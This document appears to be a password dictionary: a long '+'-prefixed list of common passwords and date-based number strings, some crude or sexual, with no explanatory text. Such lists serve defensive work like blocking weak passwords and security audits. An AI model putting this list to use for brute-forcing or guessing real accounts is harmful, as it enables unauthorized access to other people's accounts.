+19111997 +19101971 +19091973 +190885 +19081997 +19081970 +190690 +190583 +190581 +19051972 +19051905 +190485 +19021970 +1861 +1822 +181275 +18121968 +181209 +181189 +181084 +181083 +181082 +181079 +180984 +180981 +18091969 +18081969 +180780 +18071995 +180592 +180582 +180579 +180560 +18051973 +180492 +180487 +180472 +18041997 +18041971 +18041966 +180392 +180389 +18031966 +180280 +18021971 +18021966 +1775 +17121970 +171193 +17111972 +17111967 +171079 +17101977 +17101973 +17101970 +170990 +170987 +170895 +170886 +170883 +170780 +170779 +170690 +170681 +170672 +17061975 +17061974 +170577 +170493 +170477 +170472 +170380 +17031996 +17031976 +170293 +170292 +170286 +170285 +17021966 +170194 +16121995 +16121974 +161193 +161181 +161177 +16111972 +16101996 +160990 +160982 +160978 +16091973 +160874 +160787 +16071970 +16061973 +16061966 +160580 +160478 +16041970 +160390 +16031972 +16021996 +16021974 +160192 +16011998 +16011975 +16011970 +15975346 +159123 +156156 +152152 +151276 +15121972 +15121971 +151178 +151176 +15111977 +15101970 +150979 +150976 +150895 +150882 +150879 +150777 +150667 +15061971 +150594 +150581 +15051972 +150493 +15041967 +15031997 +150279 +15021968 +150175 +15011996 +14938685 +14781478 +1471 +1458 +144000 +141291 +14121995 +14101974 +14101968 +140993 +14091975 +14091969 +14091964 +140894 +140888 +140880 +14081998 +14081972 +14061971 +14061963 +140581 +140576 +140573 +14051997 +140493 +14041971 +140380 +14031968 +14021965 +133159 +1327 +1313666 +13121995 +131078 +13101996 +13101971 +130983 +13091995 +130878 +130870 +130777 +13071975 +13071969 +130677 +130575 +13051973 +13051972 +13051970 +130491 +130482 +13041973 +13041964 +130382 +130381 +13031996 +13031965 +130290 +13021976 +12901290 +1257 +125478 +1244 +12435687 +123QWEasd +123777 +123645 +12356 +1234QWER +1234asd +12345x +12345n +123456789zxc +1234567890w +1234567890qwe +123456780 +123455432 +123452000 +12332145 +123159 +123121 +121980 +121295 +12121971 +12121966 +12111999 +1211123a +12102000 +120982 +120892 +120871 +12081965 +120770 +12072000 +120582 +12051963 +12051962 +12051205 +120495 +120481 +120471 +12041969 +12031969 +120279 +12021966 +12021202 +120181 +120180 +120178 +120175 +119911 +1198 +1180 +111678 +111287 +111265 +111222333a +11121971 +111175 +11101969 +110992 +110976 +11091971 +110679 +110579 +11052000 +110485 +110478 +110389 +110379 +11031976 +110276 +110189 +10inch +1089 +1084 +1068 +1064 +1062 +1055 +10112000 +10111996 +10111972 +10111970 +10111011 +101096 +101074 +101070 +10101973 +100992 +10091997 +100885 +100875 +10081970 +10071969 +10061975 +100596 +100589 +100575 +10031962 +10021970 +10011963 +10011962 +0range +0p9o8i7u +0930 +0923 +0917 +091289 +091287 +09121994 +09121978 +09111975 +091091 +091087 +090974 +090881 +09071977 +0907 +090681 +090588 +090584 +090575 +09051974 +09051969 +090490 +090384 +09031996 +09021996 +09021974 +09011974 +09011973 +081283 +08121995 +08121971 +081177 +08111975 +08111973 +081080 +08101973 +08101970 +08091975 +08071997 +08071976 +08071968 +08061970 +080581 +080571 +080287 +08021979 +080185 +08011975 +0776 +0719 +071286 +071285 +071281 +07121995 +07121973 +071185 +071179 +071083 +070982 +070980 +07091999 +07091975 +07091971 +0709 +070793 +070789 +07071967 +070687 +070683 +0706 +070580 +070489 +070389 +070288 +070286 +070285 +07011972 +0701 +06121973 +061191 +061187 +061180 +06111973 +061083 +061081 +06101974 +060989 +060985 +060979 +06091996 +060890 +060887 +060877 +06081994 +06081974 +060795 +06071970 +060696 +060683 +060676 +060644 +06061998 +06060 +060581 +06051973 +060492 +06041994 +06041973 +060384 +06031996 +06021973 +06021968 +060186 +060184 +0531 +051291 +051278 +05121995 +051182 +051178 +051077 +050979 +05091975 +050877 +050789 +050685 +050676 +05061972 +050595 +050572 +050490 +050483 +05031975 +05031971 +050297 +05021999 +05021995 +05021972 +050187 +05011998 +0501 +0426 +0421 +0418 +041283 +04121997 +041190 +041185 +041183 +04111976 +041086 +040975 +04091973 +04081972 +04081970 +0408 +040788 +040781 +04071971 +04071970 +040690 +04061970 +04051970 +0405 +040479 +040478 +040477 +04041998 +04041997 +040391 +04021969 +040171 +0327 +03121971 +031188 +03111995 +031088 +031082 +030983 +030977 +030885 +030879 +03081997 +030788 +030781 +030780 +030779 +03071998 +03061997 +03061972 +030594 +030581 +030579 +03041971 +03031966 +030290 +030286 +03021997 +03011975 +03011969 +0227 +0222 +0221 +0219 +0216 +021279 +021278 +02121972 +02121971 +021186 +021090 +020984 +020982 +020894 +020880 +02071995 +020478 +02041969 +020385 +020382 +020294 +020281 +02021964 +011283 +011282 +011194 +011182 +01112000 +01111996 +01111962 +0111 +011090 +01101959 +010895 +01081967 +010685 +010678 +01061967 +010588 +010582 +01051997 +01051964 +010494 +01041996 +01041966 +010387 +010377 +01031973 +010295 +010281 +01012003 +01012002 +01011953 +01011911 +010110 +007jr +zzzzz1 +zzr1100 +zxGdqn +ZPxVwY +zorba +zombie1 +zmxncbv +ZIADMA +zaq11qaz +zaebali +zackary +z1z2z3 +z1234567 +yyyyyy1 +yuo67 +yJa3vo +yippee +yhWnQc +yfcnzyfcnz +yfcnz123 +yanshi1982 +YANKEES +yankeemp +yakman +Y9Enkj +xtvgbjy +xthysq +xenocide +Wvj5Np +wsxwsx +wow123 +wooddoor +wong +wolfram +winter11 +winter01 +Winner1 +willia1 +wiley +wildside +wild1 +whittier +whip +werthvfy +werthrf +welcome8 +wedgie +websters +weather1 +watchdog +warrior2 +warchild +war3demo +vovochka +vovavova +voodoo2 +volgograd +vlad1998 +vlad1995 +vixens +vitae +virgins +Virgini +viktoriy +viktorija +victim +vgfun4 +VG08K714 +vettes +vero +vaz2106 +vanquish +valjean +valheru +valeriy +utah +usmcusmc +user1 +urban +unlimite +undergro +ultra1 +uiegu451 +twisted1 +twain +tUSymo +turtoise +turkey1 +tuktuk +TrustNo1 +Tri5A3 +travolta +travi +trapdoor +trademan +tracker1 +Toyota +tower1 +tort02 +tornike +tornado1 +topgun1 +toots +tony123 +tonedup +Tommy1 +tommi +timmer +timber1 +tiger99 +tifosi +thunder7 +threesome +threat +thief +theron +thered +THEMAN +thedevil +thankgod +texmex +Test1 +tempGod +tellme +tbones +tbilisi +taz123 +tayson +tayler +tauchen +tattoos +tatooine +tate +tamia1 +taliesin +taker +taka +tacos +sylvia1 +sweethear +swampfox +sveta123 +suzanna +surreal +surfboar +supertra +superman2 +superbad +sunnysid +sunnyboy +summer2 +sumatra +suckmeoff +succubus +sturgeon +stuntman +studley +strumpf +strippers +strike1 +strider1 +strauss +stratton +strand +stores +stjames +Stephen +steelman +stavros +stasya +STARWARS +stargazer +stardog +stanle +standart +Sssssss1 +squadron +springfield +spring99 +spray +spotter +splooge +splat +Spider +sperry +spelling +Speedy +speeder +spector +spatula +spankey +spacebar +sophie12 +sony1234 +sonnen +sonia1 +sondra +sock +sociald +soccer99 +soccer20 +soccer16 +Soccer +socball +sobeit +snooper +snoop1 +snook +sneak +snakey +snaker +SMOKE +smk7366 +slowpoke +slippers +slage33 +skimmer +sinead +silvestr +silverst +silver7 +silky1 +silencer +sidorova +shortie +shore +shitball +shirt +shilpa +shearer9 +shayshay +SHANNON +shanice +shammy +shame +shaheen +seymore +sexy11 +sexxes +sexosexo +sevastopol +sessions +serval +Sergey +septembr +seiko +seasons +seaking +SCOOTER +scholar +schnecke +schmoe +scared +sc0tland +sangeeta +sandokan +SAMUEL +samual +sample +sally123 +sales1 +salama +sachem +sabre1 +s4114d +ryder +rustys +rude +rubens +rrrrrrrrrr +rowland +rounders +rosebuds +rosari +room112 +romeos +rogues +rogue2 +roger123 +rocky6 +rocky3 +rocko +rock1 +robrob +roadstar +rjpthju +rivaldo +rimjob +rileydog +rihanna +rider1 +richrich +richer +rfj422 +rfcgth +renoir +rennie +renard +religion +reliance +reggie1 +reese1 +redsky +redmoon +redfire +reddy +red1 +red +reba +realty +readme +razors +razor1 +rawiswar +raven123 +ratrace +rangers9 +ranger11 +rancher +ramram +rajeev +rahrah +radiance +racecars +qzwxec +qwertyu1 +qwerty88 +qwerty111 +qwerta +quicksil +quagmire +qazx +q1w2e3r4t5y6u7i8 +putas +putaria +pussyy +pussylick +pusser +puckpuck +psylocke +providen +prostock +prometheus +principa +primax +prettyboy +prentice +pounce +pot420 +portsmou +Porsche1 +porn1 +popov +popimp +poopers +pontoon +pololo +poll +PNP0C08 +plumber1 +plucky +playa1 +planters +planets +pizza123 +pitbul +PIRRELLO +pipipi +pink123 +pingzing +pimps +PIMPIN +pimpi +piligrim +pikachu1 +pigtails +piehonkii +phish420 +philly1 +pfhfpf +peternor +perrier +performa +peppy +pepper123 +pepita +pentium1 +Pegasus +pearce +peapod +pdtpljxrf +pavlenko +pavel1 +paulaner +paul1234 +pattern +patrick8 +pastel +password00 +pass2 +pasha123 +pascha +pasca +partytim +parachut +pantry +Panties +panther2 +ozzyozzy +owens +oscardog +orbita +Orange1 +opopop11 +openwide +oooooooooo +onlyOne4 +omgomg +ololo +Oliver1 +OLIVER +olegnaruto +ole4ka +oldspice +oldschoo +OlCRackMaster +octane +obsolete +oakland1 +nutty +nurgle +numberon +nuke +nuJBhc +nremtp +novembre +nougat +norcross +nononono +nokia5228 +noise +nofxnofx +noble +nnssnn +nivram +nikolaj +nikki2 +NICHOLAS +newzealand +newman1 +newhaven +neverland +neverdie +nevaeh +netzwerk +netvideo +netgear +neruda +neenee +necromancer +nazira +navyblue +navidad +natedawg +natanata +Natalie +nastja +nascar2 +narayan +nabokov +myword +mustang4 +mummy1 +multi +mulch +muirhead +mrskin +mossimo +moremoney +moose123 +moonunit +monorail +monolit +monkey5 +monkey3 +monkey21 +monkey01 +MONICA +moneymak +money4me +monamour +monaliza +momma +mojoman +mojo69 +modified +modesto +mizredhe +mission1 +missed +mirjam +mircea +minus +minou +minimini +minette +Miller +milkshak +mikola +mike2 +michael0 +micah +metro2033 +mesa +MERLIN +merc +ment +melodie +megat +meditate +media1 +mechanical +md2020 +mcgregor +mcgrath +Maxwell +matthieu +matthew9 +masterof +mastercard +master3 +masonry +martyna +martin7 +martesana +marlbor +markova +Mark +marit +mario123 +marilyn1 +marija +maricela +margo1 +marge +manics +mangas +mana +malkav +malboro +malawi +mako +maintain +magnat +magna +maggy +maduro +madri +madera +madeleine +mackdadd +lyndsey +luvpussy +luisito +lsdlsd12 +LOVERS +lovelov +loveislife +loveable +love33 +love2000 +Love +lost4815162342 +longwood +longlife +longball +lombardi +logos +loading +lkjlkj +lipinski +lines +lilia +lildevil +Liberty +lennie +lekbyxxx +lefty1 +Lawrence +lawnboy +lastone +laputaxx +lalo +lakers8 +ladyffesta +lacy +Lacrosse +ktyxbr +ktyecbr +ktutylf +kstate +krazy +kovalev +kotopes +kondor +knuckle +knobby +knob +kjiflrf +kitsune +kiran +kinetic +kimber45 +kimba +kim123 +killians +killer66 +kikker +KicksAss +kenner +kattie +katerinka +kaspar +kashif +karthik +karsten +karina1 +karan +kappas +kapitan +kanker +kalinina +junjun +julianne +jujube +juice1 +juggernaut +josie1 +joseph12 +jorgen +joplin +joni +Jones1 +jona +jolanda +johnson2 +johanna1 +jimmyc +jetsjets +Jester +jessica7 +jeopardy +jennyb +jenny123 +jenner +jeffie +jcnhjd +jbaby +jasont +jaso +jarod +jaredleto +jardin +janette +jameson1 +james99 +james5 +jalisco +jake11 +jaimatadi +jahjah +ivanna +isobel +islanders +iseeyou +irland +iridium +ipanema +intel1 +INSTALLDEVIC +ilovepus +Iiiiii1 +idiota +icecrea +ibmibm +hysteria +hunter11 +htlbcrf +House1 +hotwheels +horny123 +hopkins1 +honeybea +hondaciv +homeland +hollyb +hogger +hodges +Hockey +Hobbes +hightime +hide +hfccdtn +heskey +herschel +herkules +henrique +hello1234 +Hello +hellhole +hej123 +hebrew +hbhlair +haywood +hayduke +hateyou +Hastings +haslo1 +hashish +harley11 +haring +hard4u +happy7 +handbook +hamme +hallow +hajime +hacksaw +hacienda +H2SLCA +guppy +gunship +GUITAR +gues +gSEwfmCK +grosse +griffy +gridlock +green22 +greaser +granger +grandmaster +governor +gorilla1 +googgoog +goodwood +goodbeer +gondor +golfvr6 +golfin +gojets +going +goduke +gocards +goatman +go4it +gnatsum +Gloria +glori +glavine +girl78 +ginger2 +gilly +ghjhjr +ghjcnjrdfibyj +ghjcnb +ghbdtngjrf +gfhjkm2 +gfhjkm007 +gfhfyjz +geyser +getdown +gertrud +geronto +germania +georgiy +george01 +geneve +generator +geeman +gearbox +gaydar +Gateway +gangste +Gambit +fyabcf +futur +fury +fuck1234 +fruitcak +froglegs +frnhbcf +Friend +freedoms +frederi +fred99 +fred01 +freakshow +freakout +fragment +foxglove +fourier +forty2 +fornow +foley +flutter +flood +flipyou +flemming +flash123 +flameboy +flame1 +flagship +fkg7h4f3v6 +fishboy +fish1234 +fish1 +firewood +firehous +Fire1 +finest +fidel +ficktjuv +fghj +fgfgfg +Fffff1 +fetish01 +ferrer +ferreira +Fender +fende +fencing +fdfnfh +fatdaddy +fatbob +fasted +farted +farout +fanta +FAMILY +falcons1 +falcon2 +facile +fabi +extrem +Excalibu +exbntkm +examiner +ewing +evgeny +eugeni +ethel +ester +espace +ertert +erlan +erinerin +enriqu +Enigma +energie +empty +emerica +elocin +elloco +Elizabeth +eliston +elementa +electronic +Eeeeeee1 +Eeeeee1 +edvard +edcba +eastwest +E5PFtu +dzakuni +duluth +dukester +ducks1 +drill +dressage +dreads +dracon +doria +Dominic +domdom +doherty +dohcvtec +doglover +dodgeviper +Dodgers1 +dodger1 +djkrjdf +dirtball +dionysus +dinmamma +dimsum +dill +DigitalProdu +digita +dicksuck +dick12 +diabolo +diablo66 +dfcbktr +dexte +Destiny +dessert +desperados +denman85 +demond +deleted +delbert +deftone +deckard +Debbie +ddddddddd +Dddddd1 +dcowboys +daytona1 +davidruiz +David1 +dauphin +datadata +darknight +dario +danville +danube +danny123 +danica +damascus +dalmatio +daking +dagny +curves +curious1 +cure +cunt69 +cuddles1 +cucciolo +ctcnhf +Crystal1 +crossfir +croft +crocus +crocker +cripple +crichton +crazyboy +crackhead +cQ2kPh +council +cortney +cortex +cornholio +cornflak +cornbread +construc +connor1 +comicsans +comeback +comcom +combine +colonia +codename +cocteau +cocopuff +coca +coates +clumsy +clive +cleodog +classic1 +clarks +Cjkysirj +civicex +ciscokid +cisco123 +circles +chrisd +chris99 +chris01 +chomsky +choctaw +chihuahu +Chicken1 +chew +chennai +cheney +chelseaf +chelios +cheburashka +chatty +chato +chaney +chach +cfytxrf +centauri +celti +ceejay +cccccc1 +cavern +catsmeow +cathouse +caterham +cat +Cassie +cascades +carriage +carrera4 +carmella +Carlos1 +Carlos +carlie +cannondale +canard +cameleon +camaroz28 +calli +calderon +calder +calamari +cajun1 +caio +caesar1 +cadaver +buzzy +buxton +BUTTER +buthead +buster2 +bunny123 +bump +buffy123 +budwiser +Bubba1 +BTnJey +britten +briley2 +brides +briann +Brian +brazil1 +brasi +brandon0 +br5499 +boy +bossboss +bosley +borneo +bootsman +bootay +boop +boobman +boobis +boobies1 +boobboob +bondar +bolt +boloto +bobbyg +bobbin +bob666 +bob12345 +bob101 +blunt420 +blumen +blueice +bluecar +blue88 +blucher +Blondie +blinds +blackpoo +blackmag +blackeye +black13 +BLACK +BjHgFi +biteme12 +bitchedup +bishop1 +birthday5 +birdland +bipolar +biohazar +binary +billings +bill123 +biggirls +bigfella +bernard1 +bently +belial +begin +beercan +beerbong +beep +Beavis1 +bear69 +beandip +beanbean +baseline +baseball2 +bartender +barolo +banjo1 +bangladesh +bangkok1 +bangbus +bandung +BANDIT +bagpipe +bagheera +badboy69 +bad123 +backspace +baby2000 +azsxdcf +azalia +aynrand +awacs +avondale +avensis +autechre +austen +atkinson +astrovan +ashlie +ashland +asdfghjkl1 +asdasd1 +artie +Arthur1 +artemon +aretha +ardvark +arclight +apples12 +apolon +apollon +antonella +antler +antique +anniedog +annette1 +ankles +angels1 +angel5 +andrewjackie +andretti +anathema +anamari +anaheim +amylynn +amy123 +amrita +amista +American +ambient +alphabeta +all4u +alina1 +Alicia +alfabeta +alexsandr +alex777 +alex77 +alex1996 +alevtina +alessandr +alemania +alegria +albcaz +ajhneyf +airbag +agbdlcid +affinity +adriana1 +.adgjmptw +adena +adam123 +acuari +activate +ackerman +acer123 +ACCESS +acadia +abkbvjy +abcdef1 +ab123456 +aaron123 +a654321 +999998 +9969 +98769876 +9632147 +8UiazP +89172735872 +88889999 +88351132 +86mets +86753099 +8543852 +8512 +81726354 +800800 +7xswzaq +7oVTGiMC +77778888 +7771 +7721 +7711 +766rglqy +747bbb +7355608 +71177117 +6988 +67676767 +666425 +654654654 +6453 +6000 +5LYeDN +58585858 +5544332211 +554433 +5482 +545ettvy +5421 +5377 +5334 +48484848 +4599 +4217 +3xbobobo +3A5irT +379379 +3791 +375125 +3733 +36460341 +360360 +32503250 +31413141 +312312 +31122000 +310884 +31081977 +310793 +310593 +310580 +310378 +31031976 +310195 +310174 +3035 +30303 +301292 +30121995 +301092 +30101972 +300890 +30081995 +30081973 +30081961 +300777 +300684 +30061968 +300587 +30051998 +300386 +30031971 +300187 +300178 +30011968 +2wj2k9oj +299792458 +291294 +291283 +29121999 +29121976 +291192 +291179 +29111996 +29111992 +291090 +291079 +290995 +290983 +29091969 +290884 +290883 +290882 +29081974 +29081973 +290792 +290784 +29061996 +29061975 +290569 +29051973 +2905 +290478 +290476 +290475 +29041973 +290382 +290377 +29031974 +29031973 +290178 +29011975 +281278 +281181 +281180 +28111997 +281090 +281072 +280991 +280982 +280976 +28081972 +28071973 +28061975 +280589 +280580 +28051962 +280479 +280477 +28041996 +28041976 +28041972 +28041965 +28041962 +280395 +280383 +280380 +280378 +28031971 +28031970 +28031960 +28021998 +27121973 +27111974 +27111972 +271084 +271083 +27101972 +270894 +270887 +270883 +270878 +27081970 +270794 +270791 +270786 +27061973 +270591 +270580 +27051995 +27051971 +270494 +27041971 +270383 +270380 +27031972 +270278 +27011999 +26121970 +26111994 +26111971 +261093 +26101971 +260985 +26091968 +26091961 +260885 +260877 +260875 +26081997 +26081976 +26081974 +26081972 +26071970 +26061970 +260594 +260593 +260580 +26051970 +26051967 +260487 +26042000 +26041969 +260391 +26031999 +26031972 +26031971 +260286 +260260 +26021997 +260194 +260191 +260184 +260178 +260176 +26011999 +26011971 +26011970 +258789 +2575 +2541 +25121995 +25121976 +25121972 +25121971 +251180 +251092 +251091 +25101971 +2509mmh +250977 +25091974 +25081969 +25071996 +25071973 +25061967 +250593 +250571 +250494 +250492 +25041960 +25031965 +250282 +250278 +250179 +2481632 +241271 +24121997 +241191 +24101970 +240977 +24091996 +240891 +240886 +240885 +24071997 +240678 +240587 +240584 +240574 +240573 +240390 +24031971 +24031970 +240278 +24021970 +240195 +240193 +240186 +2357 +233391 +233233 +23322332 +2314 +231276 +23101994 +23101973 +230977 +23091996 +230892 +230884 +230880 +230861 +23081972 +230794 +230793 +230571 +23051997 +23031974 +230294 +230277 +23021999 +230196 +2287 +227722 +2266 +22332233 +223311 +223223 +221278 +22121998 +22121973 +22121970 +221180 +221100 +220979 +220978 +220977 +220974 +220891 +220888 +220594 +220577 +22051974 +22051969 +220481 +22041968 +220382 +22031973 +22031971 +220284 +220280 +220195 +220194 +220176 +22011977 +22011966 +22011964 +2158 +2147 +213qwe879 +2129 +21242124 +2123 +211293 +21121959 +211185 +211182 +211075 +21101970 +21101968 +210884 +21081969 +21071970 +210693 +210678 +210676 +21061972 +210574 +21051970 +21041995 +21041969 +210394 +21031972 +2102 +210194 +210177 +21011972 +2040 +201292 +201194 +20111972 +201077 +200977 +200976 +20091971 +20091969 +200892 +200891 +200878 +20081995 +200781 +200778 +200693 +20061971 +200591 +200585 +200379 +200275 +1Thunder +1qazxsw23edcvfr4 +1qazxcvb +1qasw2 +1Patrick +1Lover +1Ccccc +1Blue +1Austin +1adam12 +1Access +1a2b3c4 +198400 +198012 +19511951 +19491949 +19421942 +1926 +191288 +191281 +19121976 +19121968 +191192 +191181 +19101996 +190990 +190984 +19091997 +190886 +190688 +190683 +190682 +19051997 +190490 +190484 +190470 +19041964 +190382 +19031994 +190287 +19021971 +19011972 +19011971 +1865 +1855 +183461 +1821 +18191819 +18181 +181292 +181291 +181279 +18121996 +181185 +18111974 +181086 +180991 +18091971 +180795 +18071968 +18071967 +1807 +180694 +180679 +180594 +180580 +18051969 +18031973 +180290 +18021996 +180195 +18011971 +18011969 +1791 +171188 +171178 +17111970 +171080 +170891 +170878 +170877 +17081968 +170774 +17071972 +1707 +17061998 +17051966 +170474 +170290 +17021967 +17021963 +170184 +1688 +1661 +161293 +161161 +16111979 +161094 +161080 +16101971 +16091971 +160873 +16081995 +16081974 +16081973 +160782 +160692 +160681 +160676 +16061997 +16061964 +160588 +16051961 +160495 +16041999 +160392 +16031970 +16031966 +160282 +16021969 +160184 +160182 +160181 +16011972 +1598 +159753q +159753456852 +1596357 +1596 +1590 +151292 +151283 +15121996 +151179 +15111996 +15101964 +15091969 +150884 +15081968 +150796 +15071973 +15071971 +1507 +150584 +150574 +150491 +15031969 +15031963 +150291 +150277 +15021981 +15011999 +15011972 +15011971 +1477 +14521452 +1430 +1415 +141276 +14122000 +141195 +141177 +141176 +14111971 +14111970 +141094 +141092 +141081 +14101997 +14101969 +140977 +14091970 +140879 +14081975 +140793 +140776 +140772 +14071999 +14051996 +14051971 +140492 +140478 +140475 +14041998 +14041975 +140395 +140379 +140377 +140275 +14021974 +14011972 +14011967 +135711 +134kzbip +1345 +1342 +1341 +13324124 +1316 +1314520 +131293 +131280 +13121969 +13111997 +13111972 +131084 +131080 +131079 +131072 +130967 +13091973 +130883 +130882 +130871 +13081972 +130779 +13052000 +13051971 +130492 +130477 +130469 +130379 +13021969 +13021964 +13021960 +130180 +130179 +12qw34er56ty +1293 +1267 +124124 +123wer +1238 +1237 +1236547 +1234qwerasdf +12345l +1234567r +1234567b +12345678s +12345678qwe +123456789qq +123456782000 +123456@ +123423 +1232123 +123123456 +123100 +121983 +121273 +121190 +12111996 +12111974 +121093 +121091 +121069 +12101968 +120995 +120994 +120991 +120976 +120969 +120968 +12091961 +12071969 +12071962 +12061968 +12061967 +12061206 +120575 +12051996 +12041968 +12041963 +12031970 +12031203 +120294 +120292 +120195 +120193 +1171 +1165 +1150 +1141 +11241124 +112255 +112212 +11121963 +111197 +111122 +1111111q +111091 +111084 +110995 +11091998 +11091972 +110874 +110864 +11081996 +11071997 +110684 +110675 +110673 +11061996 +11061965 +11051972 +11041997 +110399 +110380 +11031998 +11031971 +11031967 +110293 +110289 +110279 +11021997 +110182 +11011998 +11011972 +11011962 +10z10z +1088 +1077 +1070 +10291029 +10271027 +10181018 +101279 +101278 +101266 +10121957 +101193 +101173 +101163 +101095 +10108 +101071 +10102000 +101011 +100994 +100981 +100894 +100876 +100874 +100870 +100776 +10071997 +10071970 +100692 +10061998 +10061997 +10061969 +100472 +100397 +100393 +100378 +100371 +10031969 +100277 +100269 +100196 +10011973 +10011960 +091290 +091190 +09111973 +09111966 +091101 +091081 +09101994 +090999 +090986 +090985 +09091995 +09091971 +090888 +09071969 +090690 +090685 +090683 +09061967 +090483 +090480 +09041970 +09041966 +090291 +090281 +09011975 +0829 +081293 +081282 +081277 +081191 +081178 +08111996 +08111972 +08101996 +08101975 +080891 +080877 +080872 +08081970 +080788 +08071974 +08071970 +080694 +080685 +080683 +080589 +08051973 +080390 +080378 +08031967 +080292 +080291 +080282 +08021971 +080172 +08011978 +0728 +0714 +071288 +071280 +07121971 +07101996 +070986 +070966 +070886 +070880 +070791 +07070 +070691 +070681 +07061993 +07061974 +070592 +070585 +07051967 +070482 +07041995 +07041961 +070390 +070382 +07031968 +070282 +07021970 +070188 +070184 +07011997 +07011973 +061289 +061188 +061181 +061174 +06101996 +0610 +060991 +060982 +060978 +060976 +0609 +06081973 +06081969 +0608 +06071972 +06061972 +06061968 +06060606 +060584 +060582 +06051972 +060493 +06041971 +0604 +060383 +060374 +06031971 +06031969 +06021997 +06021970 +051286 +051280 +051279 +051187 +051185 +051181 +05111996 +05111972 +051082 +051078 +050995 +050981 +05091997 +05091971 +050890 +050889 +050794 +050785 +050784 +050774 +050696 +050682 +050679 +050593 +05050505 +050491 +050476 +050397 +050388 +050385 +050384 +050383 +05031960 +050281 +05021998 +05021968 +050190 +050176 +0422 +0415 +041286 +041282 +04121976 +04121972 +041173 +04111971 +04101972 +04101967 +040986 +04091998 +04091975 +04091974 +04081965 +040691 +040589 +04051998 +040495 +040392 +040387 +040380 +04031966 +04021996 +04021974 +040191 +040190 +040183 +0343 +031280 +031179 +03111975 +031089 +03101995 +03101972 +030984 +03091975 +030892 +03081996 +030787 +03071975 +03071972 +030692 +030676 +03061976 +0306 +030582 +030574 +030492 +03031968 +030287 +03022010 +03021998 +030182 +03011971 +024680 +0228 +021291 +021289 +021185 +02111975 +02111974 +02111972 +021082 +021079 +021074 +02101996 +020989 +020684 +02061997 +020588 +02041966 +02041959 +020393 +020380 +02031966 +020287 +020273 +02021967 +02011958 +0125 +0122 +011285 +01121969 +01121967 +011177 +01111974 +010981 +01091971 +010884 +010882 +010870 +01081997 +010789 +010779 +01071995 +01071965 +010695 +01061999 +010583 +01051966 +01041965 +010383 +010382 +010379 +01031998 +010283 +007911 +007 +0055 +0009 +000777fffa +******** +zxcvbn123 +zxcvbn12 +zxc12345 +zx123456 +zsxdcf +zoidberg +ZesyRmvu +zermatt +zerkalo +zasranec +zaqwsx123 +zaq123wsx +zadrot +zachery +Yyyyy1 +yummie +yQMBevGK +you +yensid +ybrbnrf +yard +xeon +wwe123 +wutang36 +woodlawn +wonders +wolfi +wolf12 +wm00022 +withlove +wisconsin +winte +winnipeg261 +windsong +WILSON +willwill +WILLIE +wilfred +wilco +wiggin +wide +whywhy +whytesha +whoareyou +whitedog +whatthehell +whatnow +whatif +wellness +weezie +weedhead +wcKSDYpk +wavmanuk +watch1 +WARRIOR +warpath +wargod +wallst +wallaby +wahoos +wagon +w00t +volvos40 +volvo850 +volcom1 +vogel +vodolei +vjzctvmz +vita +vishenka +violette +vika2010 +VICTORIA +victoire +vfrcbv123 +verynice +veryhot +verdi +verbal +vekmnbr +vbhjckfdf +vanechka +vandamme +V2JMSz +utjuhfabz +univers +unicorns +ulster +ulises +ugly +ufyljy +Ue8Fpw +ucla +Tyler +tyghbn +twopac +twogirls +twisty +twinboys +twice2 +turk +tunatuna +tuffy1 +truls +trudy +troyboy +troutman +TROUBLE +trololo +trolley +trimmer +trillian +treehouse +trail +toyboy +torch +tootoo +toot +toogood +tomwaits +tome +tombstone +tombraider +TokenBad +togo +todays +TITANIC +tippmann +timoth +timewarp +tigris +tickles +THX1138 +thunder3 +thrice +Thompson +thissucks +theology +thema +thebull +theblues +thayer +thaman +tesoro +terrys +tequilla +tension +tenshi +tenor +telekom +teenteen +tawny +tarkan +tape +tanith +takeoff +takeit +taint +Syracuse +syMoW8 +sword1 +swetlana +sweeter +svarog +SUZUKI +suzette +suspende +support1 +sunmoon +summer11 +summer00 +suisse +sucram +sucksuck +suarez +studboy +stucco +streetball +stone32 +steve01 +steffie +steeler1 +steal +starss +star22 +squirter +spuds +spudman +spoony +splodge +spk666 +Spencer1 +speaker1 +speak +spaghetti +sonson +soccer21 +snowdrop +snoopy12 +SMOOTH +smolensk +smite +smells +smacker +slovakia +slicks +slayer69 +skylin +skipp +skeets +sk2000 +simplex +sigtau +sicilia +shylock +shuffle +shrike01 +showgirl +showers +shortys +shoppin +shooby +shlomo +shinobu +shilo +shetland +Shelby +shelb +sheela +sharks1 +shares +shami +sham +shack +sh4d0w3d +sexylove +sexsite +SEXSEX +seven1 +Service01 +sergey1 +sepultur +septic +seifer +seeyou +seesaw +secret123 +seanjohn +sD3Lpgdr +scouter +SCOTTY +schools +schmoo +schism +schiffer +schick +schalk +scarlet1 +scarecrow +scammer +sawmill +sashas +sashaa +sarang +sarajane +santa1 +sanjar +sanger +sanek94 +sandrin +saluki +saliva +salinger +sailer +safina +sadiedog +sacrifice +s7fhs127 +rvd420 +russland +runway +royal1 +roshan +Rosebud1 +rose123 +ronin +romuald +romeo123 +Roland +roksana +rofl +rocky13 +rockss +rocks1 +rockhead +robyn1 +Roberto +roar +rlzwp503 +rjhjkmbien +rizzo +rights +rifleman +riesling +rickrick +richland +rhfdxtyrj +rfvbkkf +rfnz90 +rfnmrf +rfhfynby +rezeda +revelation +remus +redso +redshoes +redsea +redcross +redapple +rectum +realgood +rawks +rawdog +raspberry +rasheed +rascal1 +ranjan +rainy +rainbow2 +rags +Rachel1 +racheal +Rabbit1 +qwerty3 +Qwerty12345 +qwert54321 +qweasdqwe +qweasd12 +qwaszx1 +qvW6n2 +quovadis +quattro6 +quant4307 +qqwweerr +Qqqqqqq1 +qpful542 +qazwsxe +qaz1wsx2 +pyramide +putamadre +pussyfuck +pusspuss +puppie +puntang +pugsly +pueblo +provence +protools +propane +pronger +promo +proline +producti +prodigy1 +prince12 +pretty1 +pozitiv +pourquoi +porno123 +poppy123 +poorboy +pooka +ponpon +polymer +pokerface +plump +plug +PLEASE +playhard +Player1 +plankton +PJFLkorK +pjcgujrat +pirelli +pinpin +pinga +pimpin1 +pilatus +pierrot +pierr +pi31415 +phunky +phisig +phikap +petrovna +petr +peter12 +pescado +pepsico +pepsi2 +pentium3 +pentium2 +penmouse +pelota +peewee1 +pebbles1 +peanutbutter +pattie +patric1 +passward +parool +parkside +parents +paparoach +panthe +Pantera +panic1 +paiste +pagoda +padilla +paddy1 +packet +pacifico +p00p00 +ozone +oxymoron +overlook +outdoor +otello +oswego +oskar +orville +orions +orange2 +optimum +opium +opelastra +ontime +ontheroc +oneman +olesia +oldsmobile +oktober7 +ohwell +offset +offense 